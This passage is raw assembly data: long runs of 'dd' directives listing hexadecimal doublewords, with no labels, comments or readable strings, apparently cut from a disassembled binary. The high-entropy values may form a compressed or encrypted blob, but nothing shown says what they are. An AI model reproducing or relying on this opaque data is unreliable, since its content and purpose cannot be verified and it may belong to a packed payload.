0BFB8047Ah, 86B54F59h dd 301962AFh, 93991DC0h, 8CECF27h, 0C4618BCEh, 2C3728BCh dd 5BC4F064h, 4648388Dh, 0DC2A663Bh, 4FC111FCh, 1090FB7Fh dd 10E588B3h, 0BE238F63h, 0D1886610h, 93006811h, 6912712Ah dd 351DEE78h, 0F0A8729Ch, 80D4C65Ch, 74EABCBBh, 681309CEh dd 30265CDFh, 0F93D3865h, 2200D895h, 592F82Fh, 0C0985C2Ah dd 76F082EAh, 341900D8h, 218537Ah, 91C5E824h, 0F9B818A8h dd 72E81B66h, 0D94BE516h, 0BD96C881h, 0EDB8C24h, 0FB389E56h dd 8585C74Bh, 195C013Fh, 51D1A043h, 61F942ECh, 0D2FF61Ch dd 97ED1007h, 0AC020512h, 0AED24EEh, 8E121008h, 21AADC0Ch dd 6360157h, 0BE802A94h, 323C6548h, 93AE005Ch, 786D9F68h dd 6CC54896h, 24A0ED28h, 12A02B77h, 63E480B0h, 0A5CB6DCh dd 2F007CBCh, 2D2B8D0Bh, 1628EF5Ch, 276EE724h, 0F85E8064h dd 84A8F272h, 0C003958h, 34A2B05h, 2C1BD712h, 0BBDC4CD8h dd 9AB618Fh, 0CC8939EEh, 44894848h, 4E55DB01h, 88811D80h dd 822AF428h, 0F8762064h, 3E10E55Ch, 0E078891Bh, 68846C5h dd 0DF6A86CDh, 681E11E3h, 1F02269Dh, 0E97710BEh, 9CE28324h dd 17949878h, 9153F7D2h, 10EA8A78h, 0FEBFF8E0h, 6011DDE7h dd 0C8FCB054h, 0CC226C5Fh, 4CEC701Dh, 2F80503Fh, 9C42A2E7h dd 43688006h, 38313DADh, 0CE121F8Bh, 903020E5h, 6EEE0EA4h dd 0B85FA55Fh, 0C164EF45h, 0AC903484h, 825F662Ah, 98FA34C2h dd 4C25737Dh, 0D85808FCh, 24388AD1h, 0E7370300h, 0C8BFB7C6h dd 10C47B1Eh, 8A7EE601h, 8420089Fh, 0D8DE0279h, 0B699CBABh dd 0E830AC59h, 9595498Dh, 0DDC04010h, 0C447A48h, 11CFB9ABh dd 0B1AC2890h, 0C6810B38h, 2CB2E7B8h, 6A941C20h, 0CB27418Dh dd 0A84808CFh, 0B332AC4h, 9C2D280Ah, 0AD7B8C65h, 76A6E807h dd 18084D78h, 0E64321E8h, 20AAAB25h, 965C150h, 73442440h dd 392D6404h, 0E492DCCBh, 0AC544057h, 1C9895AFh, 3B526095h dd 42C0480h, 308BEA76h, 71E33210h, 62661319h, 842DB971h dd 44232D00h, 0CD10AA83h, 0F1F34C00h, 0C16D642h, 0C36701F9h dd 9C3F77BFh, 9A84E8CEh, 23CC38h, 7918C770h, 0EDD52AAh dd 0CD3FD17Ch, 0C9D262C1h, 0E47E70FCh, 6F039CF8h, 0B14925F8h dd 5D1100F5h, 0A9B49D14h, 0CC3388FCh, 0C3C818DCh, 7FA7E8F6h dd 0E8970081h, 38B6F5FDh, 560015CEh, 0E50BDB1Fh, 0C92D9D7h dd 6B5350A9h, 41384050h, 0FCDF004Dh, 0FFCBD260h, 98BAF989h dd 15B8FE0Eh, 0C71CA9F8h, 4093DB03h, 7C0A31D9h, 43573D40h dd 3F44D80h, 4F7CE25h, 8818A730h, 402405D0h, 4D017D40h dd 9D213946h, 0A16F6FCCh, 107401BBh, 43D0E0EDh, 0B6204860h dd 0FC8A3F7h, 5AF0FE0Bh, 0A53214E0h, 243015E0h, 5E12D0C1h dd 58236611h, 0F51849CEh, 39B15415h, 7E0F1FAFh, 3E78000Eh dd 0D6C65F97h, 79003FF2h, 0E0A08816h, 3E9E0967h, 0E38085CEh dd 8B9BF62Eh, 28F8BA37h, 443B0AAh, 11101021h, 113AC892h dd 867D0098h, 796FC70Bh, 949A50FBh, 0CC8FAA2h, 5B24BBDBh dd 91289CA0h, 0C202C8B7h dd 464ACB10h, 2ACCA06Fh, 0C01EF353h, 0BC398051h, 11C6BEF0h dd 19F1F89Eh, 609DBA5Ah, 3D69BE45h, 9E61E5F3h, 0E0C8B020h dd 794407DEh, 21504E5Eh, 48DD4D34h, 13F47A9Ch, 82E6B90Eh dd 9938C0C0h, 501157DEh, 0C02DB03Eh, 21F37B99h, 0EB0EADFAh dd 6CC42AEh, 1C7059D5h, 0CCBB160h, 0FB11680Ah, 669D20D4h dd 42109C21h, 459B205Ah, 0C7B03E72h, 1570C861h, 103D118Ch dd 1E40846Dh, 2F6840B2h, 1F7F8803h, 1D5C01CBh, 401E1249h dd 0FC8EAC5Fh, 5E5409BBh, 98A65788h, 0AEA4F512h, 65D25447h dd 0CE2649C0h, 0C1B9000Bh, 17D05B37h, 1424F5CCh, 7780AC57h dd 0D5543978h, 42B82405h, 96D9006Ch, 0F15F1883h, 0FC29D27Ch dd 0C9F0C65h, 0A3087642h, 8CB0818Eh, 8570B950h, 3FB0023Bh dd 2365DB0Ah, 3B140A3h, 778480DCh, 189ACF08h, 0B05C9C39h dd 14F9C183h, 0FBA7A7Fh, 0A30CCC96h, 1008EF89h, 511D3AA8h dd 82E70043h, 28D2AA9Ah, 6B45FCA0h, 96D01C50h, 0E81D60C1h dd 789D2505h, 6AE58FD7h, 0EB5147A0h, 0DB0F52A1h, 4C0A9D6Bh dd 18DC4057h, 0C81428F1h, 0D51FF4ECh, 22EBC49h, 190BBE03h dd 0D22AD879h, 90BBE2B4h, 7FEC02E0h, 6F9660C8h, 5936F882h dd 0D576C00h, 0D1652843h, 54AD4DE0h, 0B1F4EF03h, 5872C482h dd 0E0830378h, 7C755344h, 7A601DC7h, 8FCD4309h, 0F8809229h dd 92A0DFECh, 7500D296h, 0CEBD25F1h, 0EDA604h, 0AF714C62h dd 89AA1492h, 0E42CE300h, 537F23DDh, 954E266Fh, 0F9DB00D0h dd 61C2C3ECh, 871D48C0h, 0F8CE2C11h, 67CF34DCh, 474C8DC8h dd 0F5F4C7ACh, 0E4842037h, 0B811A78h, 72F46831h, 0F33C010Ch dd 8D826259h, 38E1FE67h, 0BFF890EEh, 0C76E7FC2h, 11A9F822h dd 401CF2D7h, 0F47D4730h, 885A6788h, 7E10705Ch, 0F7B87FD5h dd 512E17Ch, 60025404h, 4020377Ch, 0A0BBB740h, 3F339DF8h dd 0AF8E5B6Ah, 0C6A9131Dh, 43A1380Eh, 874E7869h, 35CBA8B8h dd 609D79B2h, 18097009h, 20566E0Bh, 521410DDh, 0F02027E2h dd 867DF16Eh, 9099D101h, 0AB432995h, 1F82DC30h, 0C96DC7B8h dd 8800807Bh, 0A8492178h, 3ED00800h, 837330CBh, 9EF92CB0h dd 628700C9h, 0C38A44ADh, 3CE614Ch, 0F36E7BFDh, 0A66488D8h dd 7F47F2Eh, 0EBB29220h, 1D2F8Dh, 6AE539Bh, 730074E0h dd 7D720ED7h, 77CDA133h, 0BF509F0Bh, 0DC2B6E00h, 5F0370DEh dd 34C60023h, 729F2744h, 9E003A38h, 6B3B8FC1h, 0E074F73Fh dd 0C5CF1F34h, 1D45C16h, 0C9DD0293h, 9409DCC1h, 50FEEC00h dd 86567370h, 795E3DF5h, 678BE480h, 89239A2Ch, 21610100h dd 0F1189D98h, 0B530FBF3h, 0E8840315h, 9B0C48ABh, 3C212800h dd 0A82F9E3Eh, 2C7E0081h, 2603124Ah, 9975280Eh, 0A905111Eh dd 5154D000h, 1B7C5F8h, 46A9548h, 301728FCh, 0EC7C7F4Dh dd 742C8901h, 0BA2F65FFh, 0AD2DCh, 9380D1A3h, 0ECCDD3C9h dd 0DD011C98h, 59F146FBh, 5920CB99h, 125A0EDAh, 0B8C58F05h dd 2C90C065h, 0EE707A89h, 6D113Eh, 0FE306A81h, 7A1E5CCh dd 0A435200Ch, 0BF79C1C4h, 1ABBF8D4h, 9B4128C3h, 0DD129857h dd 0F7980046h, 0AEF9AD4Bh, 0F8C00C0Ah, 0BC5D4EB3h, 81C60058h dd 0EE5FD573h, 0B01DEFCh, 1E20D203h, 0C8F309EAh, 90C2B9h dd 60DC5D8Fh, 68DFBF23h, 1C56982Ch, 9047C580h, 0E1D471h dd 0ACAA7277h, 0B89B30C3h, 159DB613h, 4EDBF600h, 1FF459DDh dd 3DC445h, 392EC287h, 0FC008929h, 0FF6E9C5Ah, 0D82B9Eh dd 0B5CFBB0Eh, 40756C4Ch, 96A57D00h, 0AA1532ADh, 491F0058h dd 0AB8A1790h, 0F600271Bh, 0E41C8241h, 72E11BDh, 0FC838CCAh dd 28F807Dh, 0CF024CF7h, 0B12B40C4h, 6398C9A5h, 44C16980h dd 27C53537h, 0B31F2A00h, 405398B1h, 0AE0E00E7h, 0C89E23F2h dd 9524E67Ah, 411F40F8h, 568FBE00h, 18C3E30h, 0FC0F6096h dd 805140F5h, 8295D60h, 518EA7Ah, 9425F22Bh, 0DCE00031h dd 0D9ABA38Bh, 0C204D105h, 52C0C418h, 7A1D35h, 0BE2CFD21h dd 9A8A46B5h, 8D48100h, 0FC17FA52h, 0E7E40195h, 0BABEAC0Fh dd 1A55304Ch, 5CFEC400h, 8006AB54h, 892B0273h, 1E8B78EFh dd 0E597F883h, 5FF97400h, 47A7CF95h, 67C50008h, 0EF7FD3E7h dd 0F8FE60D2h, 651E6605h, 18D04D90h, 16869243h, 24602C9h dd 0EA622354h, 0F16B80E0h, 0CC399F2Ch, 689E2A0Ch, 0DEED0h dd 4112930h, 658CF8C1h, 760C2400h, 6B855C88h, 0A4C00D9h dd 6A1EE6FAh, 0C601BE7Eh, 0F16155E7h, 9A6054C5h, 0EF1D0E3Fh dd 0BAE36DC0h, 0B5D0480Bh, 2B013523h, 3E26CD88h, 60F6C1B8h dd 7AB0C5Ch, 9429B905h, 46FEE055h, 4D000FD1h, 0CEE690C1h dd 0BF6D20h, 1FD8418Ah, 0DCF6CB79h, 0A6AB000h, 77A1464Ah dd 38D300B7h, 0CD2B49F3h, 9479D259h, 0D0005EEAh, 0AF01A037h dd 0FAED1A8Fh, 0EECB00CFh, 245B058Dh, 0BA004671h, 0C8B9316Eh dd 9B65D3h, 118FD152h, 0AAB686A7h, 0DACDFF1Fh, 0BD025640h dd 328C4Eh, 0B03A3549h, 5281588Eh, 61D18900h, 83637EF5h dd 57CB00E8h, 6E70133Dh, 391F0F2Dh, 1CFF62B7h, 1CD6216Fh dd 5E1EEB00h, 42EE76h, 53A93143h, 504D0CBDh, 95D07900h dd 83031423h, 0E8390041h, 2491B76Fh, 76004578h, 440AEAE3h dd 0D2DEBBh, 0FABD27D5h, 2861F9ECh, 6C0E3314h, 0C08400F7h dd 0F4F59E0Bh, 0CAFD0CFFh, 481181BFh, 94F9400h, 84F09D57h dd 1B19C024h, 61666CEh, 61D63405h, 6C1E7F71h, 0C08D8E0Fh dd 4581DE79h, 0BA9D009Fh, 0E6AADFFCh, 0D300021Ch, 5A1DF362h dd 1C04185Ch, 445251h, 0A846ECA0h, 0C300117Ch, 7B39C9DEh dd 0AD0268h, 2031BF35h, 72468CFEh, 28AEF300h, 0C145C4A9h dd 92D700EDh, 0CE0851Ah, 2C000643h, 268FA04Ch, 0BB745B4h dd 0D5626898h, 0F3D99C00h, 0AC0E2ACDh, 0ED212Ch, 3AD82635h dd 9FD100C5h, 0CFB8953Fh, 0B03F308h, 61913049h, 0CA80C844h dd 0CB715884h, 0E84CC500h, 1A565976h, 75A4611Ch, 0A5EC85C0h dd 1E28A169h, 40B25131h, 652F472Ah, 6E00C5EEh, 627DAACFh dd 1DB85A0Dh, 42DC4492h, 56C6112Eh, 2B61A490h, 2407649Eh dd 12C0648Fh, 0EC333828h, 2CCFFC1Eh, 0A7596h, 0A78FC5F5h dd 9076B454h, 0D1429513h, 1F0D8500h, 582723h, 85E7DE96h dd 459E1362h, 2A9DA12Eh, 20078C0Eh, 0CC99F87Eh, 0B8F22E57h dd 0B93500C6h, 3772ED53h, 0D9BCB507h, 3800E4C4h, 5AAFECh dd 0FF51E675h, 3292630Ah, 0BE76FB09h, 0A268804Ch, 0ED35F10h dd 66942D88h, 0DDEBEDA0h, 7E000E0Ah, 7A76798Eh, 1E5F4481h dd 0F4CA9Eh, 0EE507C9Ch, 0CD0EFE4Fh, 69D08A57h, 0D654035Dh dd 0A47AD8DEh, 0F8CC0080h, 51C4E8AAh, 4A00F326h, 8A98026Fh dd 0A84325h, 5B70EE80h, 1BBABDC8h, 0F57DD800h, 383448E1h dd 0FD521E9Ah, 85D0C1D2h, 24739B56h, 8C01A760h, 705BF6D5h dd 0A060805Ch, 80F463BEh, 81D7605Fh, 0BD292368h, 6C5D8010h dd 2F731356h, 797F01Eh, 0C0DF3F7Dh, 2ECEC30Ch, 703825F0h dd 0AE579600h, 43F816D1h, 1B831CB2h, 5FD08DDDh, 7DC43068h dd 0C58981E3h, 22F193BBh, 16A33C40h, 0E0730168h, 6FAF94F6h dd 5DE024D5h, 5EC220DFh, 8D65ADCEh, 6C00700Ch, 0FAF6FEFBh dd 38CB0070h, 839F7837h, 726D3A2h, 0AB003B09h, 2E278889h dd 486E009Bh, 53D2709Fh, 97744BCh, 96B6A303h, 0DC3BCCh dd 87A58961h, 1435631Ah, 7C1885EAh, 84DE1EC9h, 79EC41h dd 0E00112C2h, 0FF0FD276h dd 346AE500h, 0ED132860h, 583D00DCh, 82F8F0Ch, 0B00FDA3h dd 85B52722h, 93B7E09h, 68B94AA4h, 442F0022h, 236EE040h dd 89C05B78h, 0C9AF972Bh, 0FAC503B3h, 0BE175616h, 0AE05B5B8h dd 9DD0991Eh, 0BF00715Fh, 0DF8B7530h, 1DB12EA8h, 5E0E005Dh dd 6063A219h, 0DD159800h, 67D7155h, 0A5540056h, 0A61E6B5Ah dd 6E03B06Ah, 7F5C2373h, 75903029h, 19CE9206h, 9FC23801h dd 7ADA072Dh, 93C430h, 87D32906h, 58954D8Dh, 0B51E6700h dd 0B92182B8h, 60CC02DAh, 0FBB79326h, 281022C3h, 54075F81h dd 34304565h, 2C9D8097h, 8D006E13h, 0CBC2E8CDh, 591CE3h dd 4FEC9E6Fh, 0D9EAA7EBh, 0A1C6E000h, 0D819406Dh, 5C7800CFh dd 0E9CB71FCh, 0E4FB72E5h, 5400843Ch, 3BDEDBACh, 6F50D1h dd 73E5D81Fh, 43D09489h, 93D5773Bh, 0B0076A6h, 4ECD23CAh dd 785F00C5h, 9BDA92ABh, 77000A24h, 35675EA9h, 1C00C70h dd 1208015Bh, 70515FF1h, 0E600D4EEh, 91DEAF7Bh, 7EF50AD7h dd 3CE10080h, 0DB84A4EAh, 1A00CE93h, 99A823B0h, 0A97286h dd 0ED2C545Ah, 0D57CE378h, 5F164300h, 22851B6Bh, 4B6901B6h dd 915D3E51h, 468C7013h, 534A11C0h, 701D357h, 95F7DD0h dd 683A80E2h, 4300711Fh, 8AABC882h, 3F6598Ch, 49B56514h dd 0B77A45h, 0F541E58Bh, 405CC603h, 90476AD1h, 572DADh dd 431A719Eh, 0FED72B7Dh, 0F54D991Dh, 0A50014E6h, 0E7788CA9h dd 0AC9A0031h, 0E186D17Fh, 0EB1D6B09h, 9693E33Dh, 0BFDB00FAh dd 4B510B3h, 0F581E00Fh, 0CEF220DCh, 118BAEDh, 6688AD38h dd 603E3B3Ch, 0F0E89240h, 0C86F7900h, 0A7479DAFh, 4AD0F974h dd 48497B55h, 6E3D990Bh, 2582037Fh, 5E6105B0h, 38EA41C8h dd 0F73CB400h, 0C319AE4Dh, 3FD80710h, 4CFA1369h, 0DB78EC18h dd 1D00A4EEh, 0BC14B76Bh, 3A603Eh, 2A9991CCh, 0D93FDA5h dd 6A006CECh, 8BB0A39Ah, 502C1Ah, 327C50Eh, 47324D7Ah dd 290D9209h, 4304300Bh, 7D270048h, 9954504h, 0FCA0DC4Ch dd 6D075371h, 6A462DB7h, 9F21CFF0h, 0A9AC2EB6h, 7C050094h dd 8FD61607h, 97343900h, 0CDF2F5CAh, 0C9270065h, 0A0260D10h dd 7D005A19h, 0DCD5E224h, 1DE75ED4h, 7CF49CEBh, 81D3BE06h dd 0C30F18DEh, 27829170h, 0AF607F60h, 0BA0C0h, 87F1BBB4h dd 989FB637h, 80DC1C3Bh, 0F3741096h, 80BAFDh, 2881EB47h dd 4059661Eh, 0E9E03600h, 0F0CF1B2Eh, 0C2B41FEEh, 2B4D00A8h dd 24C5AE3Bh, 3289070Fh, 0DC7EE156h, 0BBC8ABB8h, 0F938C055h dd 0E792F49h, 977D8A00h, 63A12BE6h, 7FE200D0h, 8DF299B0h dd 3700BD7Ah, 4231A9C7h, 230C519h, 0E670A35Fh, 0D140C825h dd 0B201B802h, 7360F1F0h, 3EF0F3E3h, 0D5BF00DEh, 80F7396Eh dd 0AA011B31h, 1C37EA53h, 0E9DCC7BBh, 5A6300FBh, 985FC8D6h dd 6800EEE3h, 0A8B98FDDh, 0AA4314h, 0C1445E9Fh, 4D5DDC7Ch dd 548BC700h, 0E6841E2Bh, 0B852E6A1h, 76E10084h, 4C75EC47h dd 9C00D897h, 0CD0A25F2h, 5D799h, 0CBC97965h, 228DAAA0h dd 0CC0067E8h, 98CD0EFAh, 61CAC2h, 0E0F5B859h, 0ED265640h dd 0ECB42E00h, 32F9E947h, 396326E1h, 6BB00067h, 51A9CCC9h dd 4B34A102h, 817BBC68h, 0DF441B84h, 5C8B4C00h, 0D7C67000h dd 0D4F3A99Ah, 0FC7EFBh, 6B23C446h, 25A3D595h, 0A033AC02h dd 8EEA5029h, 6CC0BFD4h, 440EBDF8h, 7AA60348h, 117937B8h dd 2087F490h, 59B4781Dh, 67448079h, 939C3DE8h, 0BD1100BBh dd 38F20A0Dh, 1B00A583h, 0DDDCB748h, 0A0E63Eh, 4E288F12h dd 860B5BF4h, 240248h, 0D523D61Dh, 2AD7EEh, 5CB3F0FCh dd 0A2BBA35Bh, 0CB6D5A00h, 0BC74C386h, 29BA0081h, 8A0F1FE2h dd 0DF0094C9h, 70FD30D8h, 0AFEB60h, 0C8F46799h, 0D7ACA134h dd 2BCD3300h, 6A0BD126h, 95830006h, 384692Ah, 4F09875Eh dd 14E0CC1h, 5B883ABBh, 4617D8h, 3C29AF20h, 25A6A0BAh dd 8A00C67Ah, 0D571EFF1h, 3805CA74h, 76008B93h, 24B4E108h dd 614C8369h, 715F0336h, 88EB8449h, 0DBF964h, 213A978Fh dd 9010C17Fh, 0F66FE000h, 196BDF09h, 9A240106h, 99C99C73h dd 851880F9h, 0A259B3E1h, 29D771Ah, 132F63EBh, 0DC60C171h dd 2200FE14h, 792E6A3Fh, 8D75F3h, 610BE7BAh, 6E7DDD62h dd 0C45D1C00h, 4F0EF87Ch, 0C9350002h, 4758632h, 3D389701h dd 71BC80Ah, 0B5CD4793h, 2ECA9B50h, 0F9B70017h, 36F8E679h dd 0FE00E7B9h, 0A9C942A7h, 0A3D158h, 9AFB4FC2h, 0C088D51Fh dd 5F0A3Eh, 61F7B60Dh, 3D3CA302h, 0A7018445h, 12E54BFBh dd 8A272062h, 77009972h, 0BF630B32h, 0A22F74h, 5BDFA697h dd 0F5478E5Ch, 43D9FD00h, 8FA15ABAh, 0BFB507EFh, 0C06FB7D4h dd 0E64416B9h, 186EDF03h, 0D061F59Dh, 51FBF3h, 1BD4D9B0h dd 4CE9A8DDh, 0E691F100h, 3680F222h, 0F98B39A4h, 0DD93B900h dd 0FCD73252h, 72C9E500h, 0F84D74CBh, 0DA4705EBh, 317AF9Eh dd 582BDBEDh, 0F0F57800h, 0B9A02D2Ch, 9DA12AEEh, 8A6000A0h dd 0F42A9FCBh, 0B200DAC6h, 0B41F82Bh, 374AB6Fh, 0B7EBAF23h dd 0D097E440h, 0F942A82h, 0DFBA48h, 0AB5044Ch, 73EA428Bh dd 51591D5Ah, 9D91C07Bh, 9E6D4E7Ah, 5D371F77h, 83C07001h dd 0EF9F017h, 4F66F219h, 483C00BDh, 0D3AC7CAFh, 0BC0A0700h dd 0BBB5776Eh, 0BF28019Fh, 0C2DC0E92h, 0D7D6E4E2h, 49DB6200h dd 0E480B263h, 0AD9A0055h, 0D00EB53Fh, 0D200991Fh, 0C1576A56h dd 773065h, 1834CB4Bh, 55A19FBCh, 356D8406h, 0F860E454h dd 0A9E01FB4h, 0DBC70065h, 0E9486B73h, 359B410Ch, 293920h dd 0EFFE51D9h, 0D26F0E6Ch, 90E31C30h, 506DC8C2h, 3A33585Fh dd 50EFEA22h, 0FF0827ECh, 0E275B301h, 0C379B8C6h, 13F9FCh dd 5ABCF1A2h, 0C759D665h, 7B04B600h, 0E1C1895h, 94E21D55h dd 5CAFC075h, 3C444890h, 0E9E57D03h, 0A5ADB0h, 0E84285FCh dd 338C6C2Ch, 392BFE00h, 4FC351D0h, 5E922445h, 0E5231F61h dd 0F0475A41h, 0CCE278E1h, 5AB15F00h, 0E8A184Bh, 840803A5h dd 0BF7E809Dh, 0B6B7A3B8h, 0E3542800h, 61484225h, 0A6F0000Dh dd 2A4DF807h, 2F768C5Fh, 0E018E617h, 7BA7D200h, 1010967h dd 167EB293h, 0E05A6E19h, 7200A674h, 704C469Fh, 70A7F60Ah dd 4A840097h, 62FF55D6h, 0B3006677h, 4B9644C7h, 1D8070E3h dd 7D54ECAFh, 0FF09A792h, 0F2769500h, 0BF72B6h, 0B1234EC9h dd 0B4BC735Bh, 0CF1C2E00h, 8AF4B36Bh, 9B9900D5h, 0A6248C41h dd 3B00FA58h, 38890F67h, 842AFDh, 0C7866282h, 93B3B19Bh dd 3127C41Fh, 0C95FF600h, 2BE9DFh, 0FCBE72BFh, 293A74A2h dd 0E6FF238h, 407ACA26h, 58B189C8h, 7397006Ah, 88B07D09h dd 0D3002642h, 0E1E79DBh, 1E9DE0Fh, 0F1A1B9D0h, 60CAD4B5h dd 0D1075C4Ah, 3DA206B2h, 0E0FE33E7h, 3BDB6820h, 4FFE28h dd 0C74C9FF0h, 0F8A0237Ah, 37669900h, 0FC4ABEC1h, 0E2DC00C5h dd 0C65B7E97h, 3B00D36Ah, 0E41DF8D2h, 2987BEFh, 63A7B90Ah dd 156050CBh, 2800C24Ch, 0ED32F5D7h, 0E3706Eh, 0A3258BD6h dd 1566B3AEh, 0B246EB01h, 145169B9h, 60DFC1F0h, 0FD5A6952h dd 0C518D6B8h, 3F50C857h, 76A0037Dh, 0A65DA568h, 5E9C6E1Eh dd 438A8400h, 30B5E16Fh, 4060A0F7h, 1F80ECACh, 17220768h dd 78F6BE9Eh, 0AD890180h, 2AA365h, 0D20E5FCFh, 0C90F22E7h dd 580AF00h, 99D838Ah, 48FC006Dh, 6C33E23Bh, 9800B7DBh dd 2FBE54C0h, 0BA0E82h dd 6A9675D2h, 0E45AA81Bh, 2A177CE2h, 100CCB2Ch, 90014119h dd 24153ABEh, 22871D3Eh, 0B0ABEB7Bh, 0EE7167C9h, 0D50FF500h dd 0A04FB3B5h, 0F621EA79h, 0E1B0C0B1h, 0EF1A0D69h, 0A4730600h dd 0AC9A2DBFh, 75C908Ah, 0BA82BDC5h, 3DE7F0A1h, 7AEE24D3h dd 78EC138h, 2B9DF448h, 5BE24F70h, 776800CAh, 0D10FF394h dd 4A3FD0D5h, 8A368446h, 0BA8791FEh, 0DEA7FA0h, 72F30055h dd 0C0A7284Fh, 74581FA1h, 8EFD009Fh, 0AFB24150h, 9488A0A4h dd 0A09000ABh, 45C39F4Bh, 82008848h, 77133EBEh, 90B350B4h dd 0A7560072h, 67117598h, 0AFEED2DEh, 0C0383E00h, 0B50E95E2h dd 0D6301C28h, 37B20EF5h, 2FA9h, 79E861EEh, 6AE82D54h dd 43650909h, 0AB1020CFh, 79D51DEh, 4DB9B353h, 0F2F8713Eh dd 0F1482452h, 0B748817Eh, 0C0698F28h, 892DCA75h, 0F09E3D0Dh dd 0A884EA94h, 2B94600h, 803886DAh, 0F3C0A900h, 85FAF253h dd 102C3A01h, 88EF8C00h, 0CB65582Ah, 54954700h, 7CE95F1Dh dd 3AF1029Bh, 0BA8B4AF9h, 52E5E080h, 5560C970h, 9D4BC7A0h dd 0DAF700D1h, 725DF841h, 4539BF4Dh, 0E105006Eh, 0B4EF7A87h dd 0D56A3C5Ch, 40344B83h, 2AD0C873h, 9C07B3BCh, 0F6FD1CE8h dd 83FED790h, 0F1905Bh, 25123059h, 0DE5CF145h, 0E53B9C00h dd 82746EC4h, 0EF610067h, 18420B7Dh, 0F400091Fh, 0F3AD23B5h dd 85351Ah, 1BFAC907h, 18808457h, 0FF0039F2h, 3DD8906h dd 54DC2Ch, 0EF7930DEh, 327527EAh, 0EED3E900h, 0F06EBBA0h dd 5B7B000Dh, 435239D8h, 2701ECD2h, 64B3CB35h, 99F415E4h dd 0EA5D24ACh, 28130FD0h, 14DE5700h, 7A008CC1h, 0A8487352h dd 3EA706Fh, 4A5DE955h, 72C0782Dh, 0AC0759C9h, 9EB71A68h dd 7D399720h, 0A9A70E01h, 0D6C0426Dh, 6533A65Bh, 1F01AFFCh dd 0B15EE3AEh, 6B8085h, 428922A0h, 470706E7h, 0CBE043B6h dd 0AD774F00h, 2FD830AFh, 188A6220h, 6C00D890h, 0BEB3FA33h dd 885139h, 0D2D776EAh, 1A1EFEB2h, 670A3209h, 0FB88202Eh dd 24BA05E2h, 874836D7h, 0D285734Fh, 0E6014EDh, 0C749F8F2h dd 715E0244h, 4862E179h, 7873F54h, 83F7D538h, 5BE8E092h dd 0FF009380h, 0A71D6A7Dh, 30049EBCh, 4330BA12h, 0AE19331Ch dd 0E110C2BFh, 0F43FC22Bh, 0DDF10C40h, 98331630h, 1109E20Dh dd 12CBB6h, 8BF8296Eh, 305EF9Ch, 0BFC06E6h, 0E8D0A5A8h dd 6C00823Ah, 0FC1604Ah, 84B9ABh, 6222E6ADh, 90A9A168h dd 42280200h, 24728335h, 366B00B3h, 0C27F92Ch, 1301E229h dd 1150DF7Dh, 0F2C426D7h, 2C90E1h, 0B9810FB1h, 0D9ED58BFh dd 7039301h, 0F752FD1Eh, 7D7C8F0h, 0CC32ADE3h, 0EFA700BAh dd 4B079728h, 486389Bh, 5A1B4CF0h, 427E00CEh, 0B13E9ABDh dd 0FA006098h, 42765F7h, 7688E270h, 443C002Eh, 318B20D9h dd 6D01FD33h, 768AD8C0h, 80F423DEh, 147C11h, 615C2B4h dd 9CA9A62Fh, 0DAE84400h, 0BC8909EDh, 0E8CE59FBh, 3A8F8B0Fh dd 0B9C05B40h, 0EBE2C390h, 5F306D01h, 0AA955CA2h, 37B53420h dd 501CFD16h, 3135C00Dh, 3D90BA3Fh, 0A88089C5h, 57750018h dd 0E0452069h, 5CC40F0Ah, 5BE0B8A7h, 0BA36414Bh, 14A4EA16h dd 0E799F700h, 1E59EC3h, 0F92FB56Ah, 0D855A9DEh, 0BA1ECE30h dd 4B8E0444h, 0DB36C156h, 6D202976h, 0FD480013h, 536FADA0h dd 4B000F2Ch, 59968827h, 0B6279h, 0E8E6D75Ch, 6F87FB0h dd 0AFF07700h, 53C20960h, 0A48B0E74h, 9922B4ECh, 0B0C8B22Ch dd 0FC026C07h, 66A8FEBEh, 0ABA440CFh, 0AC685053h, 0E3E10018h dd 8EE4D71Ch, 0B05CA970h, 615F0034h, 2F1F040Ch, 0E94112CAh dd 87FE01E6h, 0F7390211h, 6000F7C3h, 7F5779AFh, 37DA726h dd 0B9985006h, 800F4167h, 0F9758FBh, 48115853h, 0CF710F98h dd 792F42A6h, 94C0B00h, 4385410h, 0DE78752h, 0AEB4B783h dd 556AC980h, 41AF6C7Fh, 8618B660h, 3F81F853h, 6DD214B9h dd 0B43D38EBh, 55F1A71Dh, 6BC55826h, 9280EDFh, 0C7659707h dd 4584103h, 0E31441F0h, 0ECD520E4h, 7F0FF2E8h, 0E06A33CDh dd 0A1207D44h, 0B2DF03F9h, 0F4ED688Fh, 401D1CD8h, 0E5081400h dd 0B0094E7Fh, 0F7150025h, 0A64AB20Ch, 4201F048h, 48D7C98h dd 12D0685Dh, 21E4007Fh, 4D416E37h, 880F5075h, 0FD7D38F5h dd 0E2957140h, 3B060Eh, 334EF248h, 0AB49BCA3h, 2100927Bh dd 0B3519CC1h, 3F8EF3B7h, 0CD002D14h, 0FEA48F79h, 7F0F8012h dd 47EF7B5Ch, 0F3A00A9Fh, 697578h, 7A3AC1B3h, 62448967h dd 9DB4072Eh, 4D21A001h, 77D863CBh, 0F3B90247h, 8357E3A5h dd 0DD669C80h, 0E06D328h, 0E4789E7Fh, 0CFB50019h, 80278D70h dd 3309ED32h, 0A0993061h, 439FAEBCh, 1F96004Fh, 0CE62073Fh dd 0EC711ED4h, 18AD5432h, 0BEC040F7h, 0EDA10F23h, 6603FCE3h dd 0F1C02820h, 6E3D0343h, 0BDFF12E2h, 7643705Fh, 0E853DC19h dd 0F2AB344h, 4924C41Eh, 30C9B601h, 0C80BE7Ah, 18255C26h dd 0F499189Ch, 0F2E99983h, 44810626h, 9CEF6830h, 92500001h dd 0F0DFB11Fh, 456104ECh, 0EBA92DA0h, 6528091h, 2770EEE1h dd 0EA4D0758h, 0C3712D40h, 0ADB31EAEh, 0FFAA1801h, 809673DDh dd 0F0ABBBF0h, 94A2502Dh, 0B6DB012Ah, 927C8448h, 54C244Ch dd 8E728114h, 0A1823C48h, 8040498h, 0E7030152h, 0C4242677h dd 0E87B62DCh, 21361BB0h, 52C08E72h, 2431F8F0h, 2707242h dd 46479C03h, 0CD29CCA1h, 0E3188C7Ch, 48EC5031h, 0D3000D72h dd 51EDF035h, 0DE00E891h, 8EAC62BAh, 670FB4EAh, 91DC4053h dd 80AE3949h, 381A52E1h, 0C18FC5Ah, 70031D97h, 21C0BA08h dd 0B038626Dh, 6991006Ch, 4731D965h, 0E60089B5h, 4E0174EEh dd 7D30D6Eh, 5BCECACh, 0EDE17F3h, 33AC9AAAh, 0EBE8B249h dd 88996A4Dh, 0F0414F00h, 0C3F2436h, 0B72C837Dh, 78965608h dd 0D3007212h, 8437C818h, 58FA1FE0h, 76800574h, 